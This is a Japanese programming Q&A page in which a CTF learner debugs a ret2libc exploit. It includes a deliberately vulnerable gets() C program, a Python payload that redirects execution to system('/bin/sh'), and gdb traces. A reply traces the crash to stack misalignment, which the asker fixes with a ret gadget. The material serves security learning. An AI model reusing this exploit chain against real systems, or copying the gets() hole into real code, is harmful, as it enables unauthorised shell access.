質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.50%
bash

bash(Bourne-again-Shell)は sh(Bourne Shell)のインプリメンテーションに様々な機能が追加されたシェルです。LinuxやMac OS XではBashはデフォルトで導入されています。

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

Q&A

解決済

1回答

834閲覧

ret2libcでsystem("bin/sh")を実行できない問題についての質問

kohuku

総合スコア21

bash

bash(Bourne-again-Shell)は sh(Bourne Shell)のインプリメンテーションに様々な機能が追加されたシェルです。LinuxやMac OS XではBashはデフォルトで導入されています。

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

0グッド

0クリップ

投稿2022/09/16 05:54

編集2022/09/19 11:56

前提

ctfの勉強中です。
ret2libcの実験中に解決できない問題に直面したので助けていただきたいです。

実現したいこと

以下で説明するret2libcを成功させて/bin/shを実行したいです。
途中で出現する
../sysdeps/posix/system.c: No such file or directory.
の問題で詰まっています。

ここからは現状を詳しく説明します。

今回の攻撃対象のコード

#include <stdio.h> int main(){ int zero=0; char buf[10]; printf("buf : 0x%x\n",buf); gets(buf); return 0; }

今回の攻撃入力生成コード

python3

1import sys 2from struct import pack 3 4 5sys.stdout.buffer.write(b'/bin/sh'+pack('<Q',0x00)+b'A'*7) #bufに(引数+NULL)を入れ、returnアドレスまでAで埋める 6sys.stdout.buffer.write(pack('<Q',0x7ffff7e1e290)) #returnアドレスを<_libc_system>のアドレスにする 7sys.stdout.buffer.write(pack('<Q',0x401156)) #<_libc_system>のリターンアドレスを埋める.今回はmainのアドレスに設定 8sys.stdout.buffer.write(pack('<Q',0xffffde82)) #<_libc_system>の引数をbufのアドレスにする 9 10 11 12

発生している問題・エラーメッセージ

gdbで解析します。
まず、mainのretがある場所にbreakポイントを設定して実行します。

0x0000000000401198 <+66>: ret End of assembler dump. gdb-peda$ b *main+66 Breakpoint 1 at 0x401198 gdb-peda$ r < input.txt Starting program: /mnt/c/Users/ctfer/mouse/a.out < input.txt buf : 0xffffde82

breakポイントまでの実行結果は以下のようになります。

[-------------------------------------code-------------------------------------] 0x40118d <main+55>: call 0x401060 <gets@plt> 0x401192 <main+60>: mov eax,0x0 0x401197 <main+65>: leave => 0x401198 <main+66>: ret 0x401199: nop DWORD PTR [rax+0x0] 0x4011a0 <__libc_csu_init>: endbr64 0x4011a4 <__libc_csu_init+4>: push r15 0x4011a6 <__libc_csu_init+6>: lea r15,[rip+0x2c63] # 0x403e10 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde98 --> 0x7ffff7e1e290 (<__libc_system>: endbr64) 0008| 0x7fffffffdea0 --> 0x401156 (<main>: endbr64) 0016| 0x7fffffffdea8 --> 0xffffde82 0024| 0x7fffffffdeb0 --> 0x100000000 0032| 0x7fffffffdeb8 --> 0x401156 (<main>: endbr64) 0040| 0x7fffffffdec0 --> 0x4011a0 (<__libc_csu_init>: endbr64) 0048| 0x7fffffffdec8 --> 0xfb0535fcc52e6a67 0056| 0x7fffffffded0 --> 0x401070 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0000000000401198 in main () gdb-peda$ c

ここまでは思い通りに動作しています。
スタックに積まれた値も想定通りです。

continueで実行を再開します。

[----------------------------------registers-----------------------------------] RAX: 0x7ffff7fbb600 --> 0x7fffffffdf98 --> 0x7fffffffe22e ("SHELL=/bin/bash") RBX: 0x7ffff7fba7f0 --> 0x0 RCX: 0x7fffffffdd18 --> 0xc ('\x0c') RDX: 0x0 RSI: 0x7ffff7f805bd --> 0x68732f6e69622f ('/bin/sh') RDI: 0x7fffffffdb14 --> 0x700007fff RBP: 0x7fffffffdd18 --> 0xc ('\x0c') RSP: 0x7fffffffdb08 --> 0x7ffff7fcffb0 --> 0x2e048 RIP: 0x7ffff7e1de3c (<do_system+364>: movaps XMMWORD PTR [rsp+0x50],xmm0) R8 : 0x7fffffffdb58 --> 0x7ffff7de5658 --> 0x5f4c00020001 R9 : 0x7fffffffdf98 --> 0x7fffffffe22e ("SHELL=/bin/bash") R10: 0x8 R11: 0x246 R12: 0x7fffffffdb78 --> 0x0 R13: 0x7fffffffdbf8 --> 0x6 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff7e1de2d <do_system+349>: mov QWORD PTR [rsp+0x60],rbx 0x7ffff7e1de32 <do_system+354>: mov r9,QWORD PTR [rax] 0x7ffff7e1de35 <do_system+357>: lea rsi,[rip+0x162781] # 0x7ffff7f805bd => 0x7ffff7e1de3c <do_system+364>: movaps XMMWORD PTR [rsp+0x50],xmm0 0x7ffff7e1de41 <do_system+369>: mov QWORD PTR [rsp+0x68],0x0 0x7ffff7e1de4a <do_system+378>: call 0x7ffff7ed87a0 <__GI___posix_spawn> 0x7ffff7e1de4f <do_system+383>: mov rdi,rbp 0x7ffff7e1de52 <do_system+386>: mov ebx,eax [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdb08 --> 0x7ffff7fcffb0 --> 0x2e048 0008| 0x7fffffffdb10 --> 0x7fffffffffff 0016| 0x7fffffffdb18 --> 0x7 0024| 0x7fffffffdb20 --> 0x800000007 0032| 0x7fffffffdb28 --> 0x7ffff7fcf580 --> 0xe0012000001d1 0040| 0x7fffffffdb30 --> 0x7ffff7ffd9e8 --> 0x7ffff7fcf000 --> 0x10102464c457f 0048| 0x7fffffffdb38 --> 0x7ffff7fdcf24 (<_dl_relocate_object+1332>: mov rcx,QWORD PTR [rbp-0x78]) 0056| 0x7fffffffdb40 --> 0x9 ('\t') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007ffff7e1de3c in do_system (line=0x7ffff7fba7f0 <_IO_stdfile_0_lock> "") at ../sysdeps/posix/system.c:148 148 ../sysdeps/posix/system.c: No such file or directory. gdb-peda$

ここで問題が発生します。
../sysdeps/posix/system.c: No such file or directory.
と言われて実行が停止されるので想定していたシェルの起動が行えません。

実行ファイルのセキュリティは以下のようになっています。
ASLRも無効にしています。

$ checksec --file=a.out [*] '/mnt/c/Users/ctfer/mouse/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

参考にしたページ

https://airman604.medium.com/protostar-stack7-walkthrough-2aa2428be3e0

ここではmainのreturnアドレスにワンクッションはさんだり、catを末尾に入力していますが
前者は必要な理由が理解できないのと、後者はgdbにおいてそのような入力を行う方法がわからなかったため試していません。ちなみに、後者をterminalで実行すると以下のように入力を2度要求されました。おそらく、main関数が2度実行されているのでは?とも思いましたが、bufのアドレスリークが1度しか行われていないのでわかりません。(bufのアドレスに合わせて攻撃入力も編集済)

$ (python3 ./exploit.py; cat) | ./a.out buf : 0xffffdef2 ls ls Segmentation fault

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

発生したのはSEGVで、system.c云々はgdbがSEGVした場所のソースを探してるだけでしょう。(なので、system関数内には入っている)

movapsで死んでるのとrspの値からして、stackが16 byte alignされてない(call直後のstackが8ずれてる前提でsystemのprologueが8ずらすので、retでsystemに入るとズレるというか)のが原因な気がしますが。

投稿2022/09/16 06:46

matukeso

総合スコア1590

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kohuku

2022/09/19 02:56

回答ありがとうございます。 スタックアラインメントの問題だったのですね。 おかげさまでこの問題はropgadgetのretを挟むことで解決しました。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.50%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問